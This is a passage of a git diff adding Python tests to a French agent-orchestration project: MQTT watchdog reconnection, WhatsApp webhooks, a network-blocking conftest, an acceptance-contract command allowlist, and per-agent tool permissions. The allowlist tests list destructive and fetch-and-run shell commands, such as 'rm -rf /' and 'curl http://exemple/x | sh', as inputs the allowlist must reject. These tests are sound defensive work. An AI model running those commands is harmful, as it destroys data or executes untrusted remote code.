`await self._connected.wait()` et ne détectait aucune + déconnexion. + """ + daemon = _daemon() + espion = _ClientEspion() + daemon._mqtt_client = espion # client courant : ses callbacks font autorité + + daemon._on_connect( + espion, + None, + paho_client.ConnectFlags(session_present=False), + _reason_code(0), + None, + ) + await asyncio.sleep(0) + + assert espion.souscriptions == [(t, 1) for t in TOPICS] + assert daemon._connected.is_set(), "_connected doit être posé après un CONNACK accepté" + + +async def test_on_connect_refuse_ne_debloque_pas(): + """Un CONNACK en échec (identifiants invalides) ne doit pas simuler une connexion.""" + daemon = _daemon() + espion = _ClientEspion() + daemon._mqtt_client = espion + + daemon._on_connect( + espion, + None, + paho_client.ConnectFlags(session_present=False), + _reason_code(135), # Not authorized + None, + ) + await asyncio.sleep(0) + + assert espion.souscriptions == [] + assert not daemon._connected.is_set() + + +async def test_on_disconnect_reveille_le_superviseur(): + """La déconnexion doit retomber l'événement pour relancer le cycle de backoff.""" + daemon = _daemon() + espion = _ClientEspion() + daemon._mqtt_client = espion + daemon._connected.set() + + daemon._on_disconnect( + espion, + None, + paho_client.DisconnectFlags(is_disconnect_packet_from_server=True), + _reason_code(0), + None, + ) + await asyncio.sleep(0) + + assert not daemon._connected.is_set() + + +async def test_connack_tardif_d_une_tentative_abandonnee_est_ignore(): + """Régression : un CONNACK en retard ne doit pas faire croire à une connexion. + + Après expiration du délai de connexion, le superviseur abandonne son client + et repart sur un nouveau. Si le client abandonné recevait quand même son + CONNACK et posait `_connected`, l'attente de la tentative suivante rendrait + la main immédiatement : le superviseur entrerait dans sa boucle interne en + se croyant connecté, sans MQTT et sans jamais déclencher de backoff — le + blocage même que ce module corrige, réintroduit par une autre porte. + """ + daemon = _daemon() + abandonne = _ClientEspion() + courant = _ClientEspion() + + # Le superviseur a abandonné `abandonne` et suit désormais `courant`. + daemon._mqtt_client = courant + + daemon._on_connect( + abandonne, + None, + paho_client.ConnectFlags(session_present=False), + _reason_code(0), + None, + ) + await asyncio.sleep(0) + + assert abandonne.souscriptions == [], "un client abandonné ne doit plus souscrire" + assert not daemon._connected.is_set(), ( + "_connected ne doit pas être posé par une tentative abandonnée" + ) + + # Le client courant, lui, débloque bien le superviseur. + daemon._on_connect( + courant, + None, + paho_client.ConnectFlags(session_present=False), + _reason_code(0), + None, + ) + await asyncio.sleep(0) + + assert daemon._connected.is_set() + + +async def test_deconnexion_d_un_client_abandonne_n_affecte_pas_le_courant(): + """Le `_on_disconnect` d'un client abandonné ne doit pas couper le courant.""" + daemon = _daemon() + abandonne = _ClientEspion() + courant = _ClientEspion() + daemon._mqtt_client = courant + daemon._connected.set() + + daemon._on_disconnect( + abandonne, + None, + paho_client.DisconnectFlags(is_disconnect_packet_from_server=True), + _reason_code(0), + None, + ) + await asyncio.sleep(0) + + assert daemon._connected.is_set(), ( + "la déconnexion d'un client abandonné ne doit pas faire retomber l'état du courant" + ) + + +async def test_client_construit_sans_api_depreciee(): + """Le superviseur doit instancier paho en API v2. + + Le broker visé est volontairement injoignable : seule la construction du + client nous intéresse, la connexion échoue ensuite et part en backoff. + """ + daemon = WatchdogDaemon(WatchdogConfig( + mqtt_host="127.0.0.1", + mqtt_port=1, # port fermé → ConnectionRefused immédiat + topics=TOPICS, + backoff_initial=30.0, # une seule tentative pendant le test + ha_log_path="", + )) + daemon._loop = asyncio.get_running_loop() + + with warnings.catch_warnings(record=True) as captures: + warnings.simplefilter("always") + tache = asyncio.create_task(daemon._supervisor()) + await asyncio.sleep(1.0) + tache.cancel() + try: + await tache + except asyncio.CancelledError: + pass + + # paho émet l'avertissement avec stacklevel=2 : le fichier rapporté est + # celui de l'appelant, pas paho. On filtre donc sur le message. + depreciations = [ + str(c.message) + for c in captures + if issubclass(c.category, DeprecationWarning) + and "callback api version" in str(c.message).lower() + ] + assert not depreciations, f"API paho dépréciée utilisée : {depreciations}" diff --git a/tests/test_whatsapp.py b/tests/test_whatsapp.py index f603b43..afc3864 100644 --- a/tests/test_whatsapp.py +++ b/tests/test_whatsapp.py @@ -3,8 +3,9 @@ """ import os +from unittest.mock import MagicMock, patch + import pytest -from unittest.mock import patch, MagicMock from fastapi.testclient import TestClient from core.whatsapp_service import WhatsAppService @@ -25,9 +26,9 @@ def clean_env(): for key in keys_to_remove: if key in os.environ: del os.environ[key] - + yield - + # Restaurer l'environnement d'origine os.environ.clear() os.environ.update(orig_env) @@ -44,7 +45,7 @@ def test_whatsapp_service_init_twilio(): """Vérifie l'initialisation du service en mode Twilio.""" os.environ["TWILIO_ACCOUNT_SID"] = "AC_test" os.environ["TWILIO_AUTH_TOKEN"] = "token_test" - + WhatsAppService._instance = None service = WhatsAppService() assert service.mode == "twilio" @@ -56,7 +57,7 @@ def test_whatsapp_service_init_meta(): """Vérifie l'initialisation du service en mode Meta Cloud API.""" os.environ["META_WHATSAPP_ACCESS_TOKEN"] = "meta_token" os.environ["META_WHATSAPP_PHONE_NUMBER_ID"] = "phone_id" - + WhatsAppService._instance = None service = WhatsAppService() assert service.mode == "meta" @@ -71,17 +72,17 @@ async def test_send_message_twilio_success(mock_post): os.environ["TWILIO_ACCOUNT_SID"] = "AC_test" os.environ["TWILIO_AUTH_TOKEN"] = "token_test" os.environ["WHATSAPP_USER_PHONE_NUMBER"] = "+33612345678" - + WhatsAppService._instance = None service = WhatsAppService() - + # Simuler un retour HTTP 201 Created mock_response = MagicMock() mock_response.status_code = 201 mock_post.return_value = mock_response - + res = await service.send_message("Hello World") - + assert res is True mock_post.assert_called_once() # Vérifier l'URL et les données d'appel @@ -98,16 +99,16 @@ async def test_send_message_meta_success(mock_post): os.environ["META_WHATSAPP_ACCESS_TOKEN"] = "meta_token" os.environ["META_WHATSAPP_PHONE_NUMBER_ID"] = "phone_id" os.environ["WHATSAPP_USER_PHONE_NUMBER"] = "+33612345678" - + WhatsAppService._instance = None service = WhatsAppService() - + mock_response = MagicMock() mock_response.status_code = 200 mock_post.return_value = mock_response - + res = await service.send_message("Test Meta") - + assert res is True mock_post.assert_called_once() args, kwargs = mock_post.call_args @@ -119,9 +120,9 @@ async def test_send_message_meta_success(mock_post): def test_meta_webhook_verification_success(): """Teste la validation GET du webhook Meta (challenge).""" os.environ["WHATSAPP_WEBHOOK_VERIFY_TOKEN"] = "my_token" - + response = client.get("/api/webhook/whatsapp/meta?hub.mode=subscribe&hub.verify_token=my_token&hub.challenge=12345") - + assert response.status_code == 200 assert response.text == "12345" @@ -129,21 +130,21 @@ def test_meta_webhook_verification_success(): def test_meta_webhook_verification_failure(): """Teste l'échec de validation GET du webhook Meta avec un mauvais token.""" os.environ["WHATSAPP_WEBHOOK_VERIFY_TOKEN"] = "my_token" - + response = client.get("/api/webhook/whatsapp/meta?hub.mode=subscribe&hub.verify_token=wrong_token&hub.challenge=12345") - + assert response.status_code == 403 def test_webhook_twilio_post_security_failure(): """Vérifie que le webhook Twilio refuse les requêtes sans token de sécurité valide.""" os.environ["WHATSAPP_WEBHOOK_VERIFY_TOKEN"] = "my_token" - + response = client.post( "/api/webhook/whatsapp/twilio", data={"From": "whatsapp:+33612345678", "Body": "Test", "To": "whatsapp:+14155238886"} ) - + assert response.status_code == 403 @@ -151,12 +152,12 @@ def test_webhook_twilio_post_security_failure(): def test_webhook_twilio_post_security_success(mock_process): """Vérifie que le webhook Twilio accepte les requêtes avec token de sécurité valide.""" os.environ["WHATSAPP_WEBHOOK_VERIFY_TOKEN"] = "my_token" - + response = client.post( "/api/webhook/whatsapp/twilio?token=my_token", data={"From": "whatsapp:+33612345678", "Body": "Test", "To": "whatsapp:+14155238886"} ) - + assert response.status_code == 200 assert response.json() == {"status": "queued"} mock_process.assert_called_once() diff --git a/tests/test_worker.py b/tests/test_worker.py index 79edbe9..aff5543 100644 --- a/tests/test_worker.py +++ b/tests/test_worker.py @@ -111,6 +111,7 @@ def test_worker_status_format(self): def test_execute_task_returns_structured_response(self): """L'exécution doit retourner un dict structuré (succès ou erreur).""" import asyncio + from core.worker_daemon import WorkerDaemon daemon = WorkerDaemon(name="test-daemon", port=8780) diff --git a/tests/test_workflow_endpoints.py b/tests/test_workflow_endpoints.py index 984bcc9..3b01c27 100644 --- a/tests/test_workflow_endpoints.py +++ b/tests/test_workflow_endpoints.py @@ -1,18 +1,20 @@ +import json import os +import shutil import sys import unittest -import json -import shutil # Ajouter le répertoire racine au PATH sys.path.append(os.path.dirname(os.path.abspath(__file__))) from fastapi.testclient import TestClient -from gui_server import app + from api.routes.workflows import WORKFLOWS_DIR, WORKFLOWS_FILE +from gui_server import app + class TestWorkflowEndpoints(unittest.TestCase): - + def setUp(self): # [P0-1.1] Les routes /api/workflows sont protégées par require_auth : # on envoie le Bearer correspondant à la MOTEUR_API_KEY de test (conftest). @@ -20,16 +22,16 @@ def setUp(self): self.client = TestClient(app, headers=_auth) self.test_name = "test_unit_workflow" self.test_file_path = os.path.join(WORKFLOWS_DIR, f"{self.test_name}.json") - + # Sauvegarder le fichier actif d'origine s'il existe self.backup_active_file = WORKFLOWS_FILE + ".backup" if os.path.exists(WORKFLOWS_FILE): shutil.copy2(WORKFLOWS_FILE, self.backup_active_file) - + # S'assurer que le fichier de test n'existe pas au départ if os.path.exists(self.test_file_path): os.remove(self.test_file_path) - + def tearDown(self): # Supprimer le fichier de test s'il a été créé if os.path.exists(self.test_file_path): @@ -37,13 +39,13 @@ def tearDown(self): os.remove(self.test_file_path) except Exception: pass - + # Restaurer le fichier actif d'origine if os.path.exists(self.backup_active_file): if os.path.exists(WORKFLOWS_FILE): os.remove(WORKFLOWS_FILE) shutil.move(self.backup_active_file, WORKFLOWS_FILE) - + def test_crud_workflow_endpoints(self): """Teste le cycle de vie d'un workflow nommé via les nouveaux endpoints API.""" dummy_workflow = { @@ -54,21 +56,21 @@ def test_crud_workflow_endpoints(self): {"id": "node-2", "type": "end", "x": 100, "y": 100} ] } - + # 1. Sauvegarder le workflow (POST) response_save = self.client.post(f"/api/workflows/save/{self.test_name}", json=dummy_workflow) self.assertEqual(response_save.status_code, 200) save_data = response_save.json() self.assertIn("sauvegardé", save_data.get("message", "")) self.assertEqual(save_data.get("nodes"), 2) - + # Vérifier que le fichier physique existe dans workflows/ et a été copié dans agents_workflows.json self.assertTrue(os.path.exists(self.test_file_path)) self.assertTrue(os.path.exists(WORKFLOWS_FILE)) - with open(WORKFLOWS_FILE, "r", encoding="utf-8") as active_f: + with open(WORKFLOWS_FILE, encoding="utf-8") as active_f: active_content = json.load(active_f) self.assertEqual(active_content.get("metadata", {}).get("version"), "2.0_test") - + # 2. Lister les workflows (GET /list) response_list = self.client.get("/api/workflows/list") self.assertEqual(response_list.status_code, 200) @@ -76,41 +78,41 @@ def test_crud_workflow_endpoints(self): self.assertIn("workflows", list_data) self.assertIn(self.test_name, list_data["workflows"]) self.assertIn("Default", list_data["workflows"]) - + # 3. Charger un autre workflow (GET /load/Default) response_load_def = self.client.get("/api/workflows/load/Default") self.assertEqual(response_load_def.status_code, 200) load_def_data = response_load_def.json() self.assertIn("Default", load_def_data.get("message", "")) - + # Vérifier que le fichier actif a bien été réécrit avec le contenu de Default - with open(WORKFLOWS_FILE, "r", encoding="utf-8") as active_f: + with open(WORKFLOWS_FILE, encoding="utf-8") as active_f: active_content_def = json.load(active_f) self.assertNotEqual(active_content_def.get("metadata", {}).get("version"), "2.0_test") - + # 4. Charger notre workflow de test à nouveau (GET /load/{name}) response_load_test = self.client.get(f"/api/workflows/load/{self.test_name}") self.assertEqual(response_load_test.status_code, 200) load_test_data = response_load_test.json() self.assertEqual(load_test_data.get("workflow", {}).get("metadata", {}).get("version"), "2.0_test") - + # Vérifier à nouveau la réécriture du fichier actif - with open(WORKFLOWS_FILE, "r", encoding="utf-8") as active_f: + with open(WORKFLOWS_FILE, encoding="utf-8") as active_f: active_content_test = json.load(active_f) self.assertEqual(active_content_test.get("metadata", {}).get("version"), "2.0_test") - + # 5. Tenter de supprimer Default (doit échouer - HTTP 400) response_del_def = self.client.delete("/api/workflows/Default") self.assertEqual(response_del_def.status_code, 400) - + # 6. Supprimer le workflow de test (DELETE) response_del = self.client.delete(f"/api/workflows/{self.test_name}") self.assertEqual(response_del.status_code, 200) self.assertIn("supprimé", response_del.json().get("message", "")) - + # Vérifier que le fichier physique dans workflows/ a disparu self.assertFalse(os.path.exists(self.test_file_path)) - + # 7. Tenter de charger le workflow supprimé (doit retourner HTTP 404) response_load_deleted = self.client.get(f"/api/workflows/load/{self.test_name}") self.assertEqual(response_load_deleted.status_code, 404) diff --git a/tests/unit/conftest.py b/tests/unit/conftest.py new file mode 100644 index 0000000..035a812 --- /dev/null +++ b/tests/unit/conftest.py @@ -0,0 +1,125 @@ +""" +conftest.py — Garde-fou réseau pour les tests unitaires (tests/unit/). + +Aucun test unitaire ne doit ouvrir de vraie connexion réseau vers l'extérieur +de la machine : la suite doit rester verte sans clé d'API, sans quota et sans +réseau (c'est le critère d'acceptation de toutes les tâches déléguées du +projet). Un appel réseau réel dans un test produit un faux négatif (flaky, +dépendant du quota/latence) qui apprend à ignorer le rouge — voir #T261 et +#T268. + +Mécanisme : remplacement de `socket.socket.connect` (point de blocage commun à +tous les clients TCP/TLS : requests, httpx, http.client, urllib, asyncio, +paramiko, MQTT…). Toute tentative vers un hôte NON-loopback échoue avec un +message qui nomme le test, l'adresse contactée, et indique la marche à suivre. + +Pourquoi le loopback reste autorisé (choix documenté #T261) : +- `asyncio.new_event_loop()` crée sa « self-pipe » via `socket.socketpair()`, + qui passe par un connect() sur 127.0.0.1 sur Windows : bloquer le loopback + casserait toute la mécanique asyncio sans rien tester ; +- les tests qui démarrent leur propre serveur HTTP mocké local (ports + éphémères) sont déterministes : aucun quota, aucune clé, aucune latence + externe — ils ne peuvent pas produire le faux négatif que ce garde-fou + élimine ; +- le risque résiduel (un test qui viserait un vrai service local, ex. LM + Studio) est couvert par la CI : elle tourne sans aucun service local, ces + connexions y échouent et le test ne peut pas devenir « vert » en silence. + +Les tests marqués `@pytest.mark.live` (vraies API réseau voulues, exclus de la +suite par défaut via `addopts -m "not live"`) sont exemptés du garde-fou. +""" + +import ipaddress +import socket + +import pytest + +# [T261] Adresse TEST-NET-1 (RFC 5737), non routable, jamais loopback : si le +# garde-fou saute, un connect réel échoue sans timeout DNS long. +_ADRESSE_PREUVE = ("192.0.2.1", 443) + + +def _est_loopback(host): + """Vrai si `host` est une adresse de loopback (127.0.0.0/8, ::1). + + Les noms DNS et les formes non-IP sont traités comme externes : un nom + d'hôte ne peut jamais être local à la machine de test. + """ + try: + return ipaddress.ip_address(host).is_loopback + except ValueError: + return False + + +@pytest.fixture(autouse=True) +def _interdire_reseau(monkeypatch, request): + """Garde-fou : échoue tout test unitaire tentant une connexion externe. + + Exempte les tests marqués `@pytest.mark.live` (appels réels voulus, + relançables avec `python -m pytest -m live`). + """ + if request.node.get_closest_marker("live"): + return + nom_test = request.node.name + connect_original = socket.socket.connect + + def _connect_interdit(self, address, *args, **kwargs): + """Remplaçant de `socket.socket.connect` : échoue si la destination est externe. + + `self` est l'instance socket, `address` la destination (tuple (hôte, port) + pour AF_INET, chaîne pour AF_UNIX). Aucun paquet n'est émis vers + l'extérieur : le test échoue avant tout contact avec le réseau. + """ + if isinstance(address, tuple) and _est_loopback(address[0]): + # Loopback : infra asyncio (self-pipe) ou serveur HTTP mocké du test. + return connect_original(self, address, *args, **kwargs) + dest = f"{address[0]}:{address[1]}" if isinstance(address, tuple) else str(address) + pytest.fail( + f"Le test « {nom_test} » a tenté une vraie connexion réseau vers {dest} : " + "les tests unitaires ne doivent pas toucher le réseau externe (faux " + "négatifs, quota, latence). Soit mockez l'appel (unittest.mock.patch " + "sur le client HTTP), soit, si l'appel réel est voulu, marquez le test " + "@pytest.mark.live pour l'exclure de la suite par défaut." + ) + + monkeypatch.setattr(socket.socket, "connect", _connect_interdit) + + +# ───────────────────────────────────────────────────────────────── +# Isolation des services d'observabilité (Langfuse / OTel) +# ───────────────────────────────────────────────────────────────── +# +# Certains tests chargent le .env du moteur (load_dotenv() dans les tests +# `live`) : si les clés LANGFUSE_* / OTEL_* du .env entrent dans le process, +# LangfuseBridge s'active et son client réel démarre des threads + un handler +# atexit qui exportent vers cloud.langfuse.com — des connexions externes qui +# tombent PENDANT un autre test et font échouer le garde-fou réseau (flaky). +# +# Ce fixture autouse purge ces variables AVANT chaque test et réinitialise le +# singleton : un test unitaire ne doit jamais activer de client d'observabilité +# réel, quel que soit le contenu du .env de la machine. + + +@pytest.fixture(autouse=True) +def _isoler_observabilite_externe(monkeypatch): + """Purge les secrets d'observabilité et force LangfuseBridge en no-op.""" + for cle in ( + "LANGFUSE_PUBLIC_KEY", + "LANGFUSE_SECRET_KEY", + "LANGFUSE_HOST", + "OTEL_EXPORTER_OTLP_ENDPOINT", + "OTEL_EXPORTER_OTLP_HEADERS", + "OTEL_EXPORTER_GCP", + ): + monkeypatch.delenv(cle, raising=False) + # Réinitialiser le singleton : s'il avait été initialisé avant la purge + # (client réel), le prochain get_instance() le recrée en no-op. + import core.langfuse_bridge as _lf_bridge + + _lf_bridge.LangfuseBridge._instance = None + # OTel : re-setup no-op (le cache _setup_done d'un éventuel setup réel + # empêcherait la purge de prendre effet). + import core.otel as _otel + + _otel._tracer = None + _otel._setup_done = False diff --git a/tests/unit/test_acceptance_contract.py b/tests/unit/test_acceptance_contract.py new file mode 100644 index 0000000..4f8c44b --- /dev/null +++ b/tests/unit/test_acceptance_contract.py @@ -0,0 +1,310 @@ +""" +test_acceptance_contract.py — Contrat d'acceptation vérifiable (#T253). + +Deux niveaux : +- le vérificateur lui-même (normalisation, liste blanche de commandes, critères + fichier, sémantique du rapport) — avec de VRAIES exécutions de commandes, pas + des mocks : tout l'intérêt du contrat est qu'il constate au lieu de croire ; +- son branchement dans la boucle de revue : contrat satisfait → validation sans + appel LLM, contrat en échec → correction directe sans demander son avis au + Reviewer, contrat non déterminable → repli sur le comportement d'avant. +""" + +import asyncio +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.acceptance_contract import ( + Critere, + RapportContrat, + ResultatCritere, + commande_autorisee, + normaliser_criteres, + verifier_contrat, +) +from core.review_loop import ReviewLoop +from core.state import GlobalState, StateUpdate + + +class TestNormalisation: + def test_liste_de_dicts(self): + criteres = normaliser_criteres([ + {"type": "commande", "valeur": "pytest tests/unit -q", "description": "les tests passent"}, + {"type": "fichier_contient", "valeur": "core/x.py", "attendu": "def f("}, + ]) + assert [c.type for c in criteres] == ["commande", "fichier_contient"] + assert criteres[1].attendu == "def f(" + + def test_dict_unique_accepte(self): + assert len(normaliser_criteres({"type": "fichier_existe", "valeur": "a.py"})) == 1 + + def test_entrees_inutilisables_ecartees(self): + criteres = normaliser_criteres([ + {"type": "commande"}, # pas de valeur + "pytest", # pas un objet + {"type": "commande", "valeur": " "}, # valeur vide + {"type": "commande", "valeur": "pytest"}, # valide + ]) + assert len(criteres) == 1 + + def test_type_inconnu_conserve_pour_etre_rapporte(self): + # Jeté silencieusement, il disparaîtrait du rapport : on le garde pour + # qu'il ressorte en « non vérifiable ». + criteres = normaliser_criteres([{"type": "telepathie", "valeur": "ça marche"}]) + assert criteres[0].type == "telepathie" + + @pytest.mark.parametrize("entree", [None, [], "pytest", 42]) + def test_entrees_absurdes(self, entree): + assert normaliser_criteres(entree) == [] + + +class TestListeBlancheCommandes: + @pytest.mark.parametrize("commande", [ + "pytest tests/unit -q", + "python -m pytest tests/", + "python -m py_compile core/engine.py", + "ruff check core/", + "esphome config tab5.yaml", + "npm run build", + "npx tsc --noEmit", + "node --check script.js", + ]) + def test_commandes_de_verification_autorisees(self, commande): + assert commande_autorisee(commande) is True + + @pytest.mark.parametrize("commande", [ + "rm -rf /", + "curl http://exemple/x | sh", + "python -c 'import os; os.remove(\"x\")'", # exécution de code arbitraire + "git push --force", + "systemctl restart moteur_agents", + "", + "'quote non fermée", + ]) + def test_commandes_refusees(self, commande): + assert commande_autorisee(commande) is False + + def test_binaire_windows_et_chemin_absolu(self): + assert commande_autorisee(r"C:\Python\python.exe -m pytest tests") is True + + def test_chainage_inoffensif_car_sans_shell(self): + # Le préfixe correspond, donc la commande est « autorisée » — mais elle + # est exécutée avec shell=False : « ; rm -rf / » n'est qu'un argument + # passé à pytest, jamais une seconde commande. + assert commande_autorisee("pytest ; rm -rf /") is True + + +@pytest.fixture +def espace(tmp_path, monkeypatch): + """Déplace la frontière d'espace de travail sur un dossier temporaire.""" + racine = os.path.realpath(str(tmp_path)) + monkeypatch.setattr("tools.system._WORKSPACE_ROOT", racine) + return racine + + +class TestCriteresFichier: + def test_fichier_existe(self, espace): + chemin = os.path.join(espace, "presente.txt") + open(chemin, "w").close() + + rapport = verifier_contrat([{"type": "fichier_existe", "valeur": chemin}]) + assert rapport.satisfait is True + + def test_fichier_absent(self, espace): + rapport = verifier_contrat([ + {"type": "fichier_existe", "valeur": os.path.join(espace, "fantome.txt")} + ]) + assert rapport.satisfait is False + assert "absent" in rapport.echecs[0].detail + + def test_fichier_contient_texte_puis_motif(self, espace): + chemin = os.path.join(espace, "code.py") + with open(chemin, "w", encoding="utf-8") as f: + f.write("def additionner(a, b):\n return a + b\n") + + assert verifier_contrat([ + {"type": "fichier_contient", "valeur": chemin, "attendu": "def additionner"} + ]).satisfait is True + assert verifier_contrat([ + {"type": "fichier_contient", "valeur": chemin, "attendu": r"return\s+a\s*\+\s*b"} + ]).satisfait is True + assert verifier_contrat([ + {"type": "fichier_contient", "valeur": chemin, "attendu": "def soustraire"} + ]).satisfait is False + + def test_hors_espace_de_travail_non_verifiable(self, espace): + rapport = verifier_contrat([ + {"type": "fichier_existe", "valeur": os.path.join(espace, "..", "dehors.txt")} + ]) + assert rapport.satisfait is False + assert rapport.determinable is False # non vérifiable ≠ échec + assert len(rapport.non_verifiables) == 1 + + +class TestExecutionReelle: + """Vraies exécutions : c'est la promesse même du contrat.""" + + def test_commande_qui_reussit(self, tmp_path, espace): + bon = os.path.join(espace, "bon.py") + with open(bon, "w", encoding="utf-8") as f: + f.write("x = 1\n") + + rapport = verifier_contrat( + [{"type": "commande", "valeur": f'python -m py_compile "{bon}"'}], + racine=espace, + ) + assert rapport.satisfait is True, rapport.resume() + + def test_commande_qui_echoue(self, espace): + casse = os.path.join(espace, "casse.py") + with open(casse, "w", encoding="utf-8") as f: + f.write("def (:\n") + + rapport = verifier_contrat( + [{"type": "commande", "valeur": f'python -m py_compile "{casse}"'}], + racine=espace, + ) + assert rapport.satisfait is False + assert "code" in rapport.echecs[0].detail + + def test_commande_interdite_non_executee(self, espace): + temoin = os.path.join(espace, "temoin.txt") + open(temoin, "w").close() + + rapport = verifier_contrat( + [{"type": "commande", "valeur": f'python -c "import os; os.remove(r\'{temoin}\')"'}], + racine=espace, + ) + assert rapport.non_verifiables and rapport.determinable is False + assert os.path.exists(temoin), "la commande interdite a été exécutée" + + +class TestRapport: + def _res(self, satisfait): + return ResultatCritere(Critere("commande", "pytest"), satisfait, "détail") + + def test_un_seul_echec_suffit_a_invalider(self): + rapport = RapportContrat([self._res(True), self._res(True), self._res(False)]) + assert rapport.satisfait is False + assert rapport.determinable is True + + def test_contrat_vide_non_determinable(self): + assert RapportContrat().determinable is False + assert RapportContrat().satisfait is False + + def test_non_verifiables_ne_comptent_pas(self): + rapport = RapportContrat([self._res(True), self._res(None)]) + assert rapport.satisfait is True + assert len(rapport.non_verifiables) == 1 + assert "non vérifiable" in rapport.resume() + + +class _AgentMock: + def __init__(self, name, status="success"): + self.name = name + self.status = status + self.appels = 0 + + async def invoke(self, payload): + self.appels += 1 + return StateUpdate(agent_name=self.name, status=self.status, + result_data="avis du modèle", error_message="rejet", + metadata={"quality_score": 0.9}) + + +class _EngineMock: + def __init__(self): + self.state = GlobalState(session_id="sess_contrat") + self._history_lock = asyncio.Lock() + self.agents = {"reviewer": _AgentMock("reviewer"), "planner": _AgentMock("planner")} + + +def _boucle_avec_contrat(criteres, monkeypatch, rapport): + engine = _EngineMock() + engine.state.history.append(StateUpdate( + agent_name="planner", status="success", + metadata={"contrat_acceptation": criteres}, + )) + boucle = ReviewLoop(engine) + monkeypatch.setattr(boucle, "_has_modified_files", lambda: True) + monkeypatch.setattr("core.review_loop.verifier_contrat", lambda c, **kw: rapport) + return engine, boucle + + +class TestPorteDansLaBoucleDeRevue: + """Le contrat prime sur l'avis du modèle, dans les deux sens.""" + + def test_contrat_satisfait_valide_sans_appeler_le_reviewer(self, monkeypatch): + rapport = RapportContrat([ResultatCritere(Critere("commande", "pytest"), True, "code 0")]) + engine, boucle = _boucle_avec_contrat( + [{"type": "commande", "valeur": "pytest"}], monkeypatch, rapport + ) + + approuve = asyncio.run(boucle.run_review("objectif")) + + assert approuve is True + assert engine.agents["reviewer"].appels == 0, "le contrat suffisait, le LLM a été appelé quand même" + + def test_contrat_en_echec_declenche_la_correction_sans_avis_llm(self, monkeypatch): + rapport = RapportContrat([ + ResultatCritere(Critere("commande", "pytest", description="les tests passent"), + False, "code 1 — 2 failed") + ]) + engine, boucle = _boucle_avec_contrat( + [{"type": "commande", "valeur": "pytest"}], monkeypatch, rapport + ) + + recus = [] + + async def _fausse_correction(update, objectif, tour, on_event=None, force_tier=None): + recus.append(update) + return False # on coupe la boucle après le premier tour + + monkeypatch.setattr(boucle, "_apply_corrections", _fausse_correction) + approuve = asyncio.run(boucle.run_review("objectif")) + + assert approuve is False + assert engine.agents["reviewer"].appels == 0 + assert len(recus) == 1 + assert recus[0].agent_name == "contrat_acceptation" + assert "les tests passent" in recus[0].metadata["corrections"] + assert "2 failed" in recus[0].error_message + + def test_contrat_non_determinable_replie_sur_le_reviewer(self, monkeypatch): + rapport = RapportContrat([ + ResultatCritere(Critere("commande", "deploie tout"), None, "hors liste blanche") + ]) + engine, boucle = _boucle_avec_contrat( + [{"type": "commande", "valeur": "deploie tout"}], monkeypatch, rapport + ) + + approuve = asyncio.run(boucle.run_review("objectif")) + + assert approuve is True + assert engine.agents["reviewer"].appels == 1, "le repli sur la revue LLM n'a pas eu lieu" + + def test_sans_contrat_comportement_inchange(self, monkeypatch): + engine = _EngineMock() + boucle = ReviewLoop(engine) + monkeypatch.setattr(boucle, "_has_modified_files", lambda: True) + + approuve = asyncio.run(boucle.run_review("objectif")) + + assert approuve is True + assert engine.agents["reviewer"].appels == 1 + + def test_contrat_le_plus_recent_gagne(self, monkeypatch): + rapport = RapportContrat([ResultatCritere(Critere("commande", "pytest"), True, "ok")]) + engine, boucle = _boucle_avec_contrat( + [{"type": "commande", "valeur": "ancien"}], monkeypatch, rapport + ) + engine.state.history.append(StateUpdate( + agent_name="planner", status="success", + metadata={"contrat_acceptation": [{"type": "commande", "valeur": "recent"}]}, + )) + + assert boucle._criteres_du_plan()[0]["valeur"] == "recent" diff --git a/tests/unit/test_agent_tool_permissions.py b/tests/unit/test_agent_tool_permissions.py new file mode 100644 index 0000000..50d1947 --- /dev/null +++ b/tests/unit/test_agent_tool_permissions.py @@ -0,0 +1,237 @@ +""" +tests/unit/test_agent_tool_permissions.py — Permissions d'outils par agent (#T233). + +Un agent ne voit et ne peut appeler que les outils de sa liste `allowed_tools` +(config.json → core/custom_agents.py, agents_workflows.json → +core/workflow_bridge.py). Sémantique du champ : absent ou null = tous les +outils, [] = aucun outil, liste = ces outils uniquement. + +Le registre étant partagé par tous les agents, le filtrage s'applique AU +MOMENT de fournir les schémas (get_all_schemas) et d'exécuter (execute), et le +refus nomme l'agent et l'outil — ni silence, ni « outil inexistant » qui +pousserait l'agent à contourner (cf. #T275). +""" +import asyncio + +from agents.executor import ExecutorAgent +from core.custom_agents import build_custom_agent_prompt, register_config_custom_agents +from core.state import TaskPayload +from core.workflow_bridge import WorkflowBridge, _normalize_workflow +from tools.tool_registry import ToolRegistry + + +def _registre_deux_outils() -> ToolRegistry: + """Registre minimal : read_file (autorisé) + write_file (souvent interdit).""" + registry = ToolRegistry() + registry.register("read_file", lambda filepath="": f"contenu de {filepath}", "Lit un fichier.") + registry.register("write_file", lambda filepath="", content="": f"écrit {filepath}", "Écrit un fichier.") + return registry + + +def _noms_schemas(schemas: list[dict]) -> set[str]: + return {s["function"]["name"] for s in schemas} + + +# ────────────────────────────────────────────────────────────── +# Registre : filtrage à la fourniture des schémas +# ────────────────────────────────────────────────────────────── + +def test_agent_sans_allowed_tools_voit_les_memes_outils_qu_avant(): + """Non-régression : sans restriction (inconnu ou null), tous les outils.""" + registry = _registre_deux_outils() + attendu = _noms_schemas(registry.get_all_schemas()) + + # Agent jamais déclaré dans le registre des permissions + assert _noms_schemas(registry.get_all_schemas(agent_name="agent_inconnu")) == attendu + # Restriction explicitement levée (null = tous les outils) + registry.set_agent_allowed_tools("agent_libre", None) + assert _noms_schemas(registry.get_all_schemas(agent_name="agent_libre")) == attendu + + +def test_allowed_tools_filtre_les_schemas_exposes(): + """Agent restreint : seuls ses outils sont exposés, les autres inchangés.""" + registry = _registre_deux_outils() + registry.set_agent_allowed_tools("agent_lecteur", ["read_file"]) + assert _noms_schemas(registry.get_all_schemas(agent_name="agent_lecteur")) == {"read_file"} + # Registre partagé : les autres agents ne sont pas affectés + assert len(registry.get_all_schemas(agent_name="agent_autre")) == 2 + + +def test_liste_vide_signifie_aucun_outil_et_differe_de_null(): + """[] = aucun outil ; null (ou lever la restriction) = tous les outils.""" + registry = _registre_deux_outils() + registry.set_agent_allowed_tools("agent_vide", []) + assert registry.get_all_schemas(agent_name="agent_vide") == [] + + # null ≠ [] : la restriction levée rend tous les outils + registry.set_agent_allowed_tools("agent_vide", None) + assert len(registry.get_all_schemas(agent_name="agent_vide")) == 2 + + +def test_filtre_permission_compose_avec_le_jit_mcp(): + """Le filtre par agent s'applique en plus du filtrage 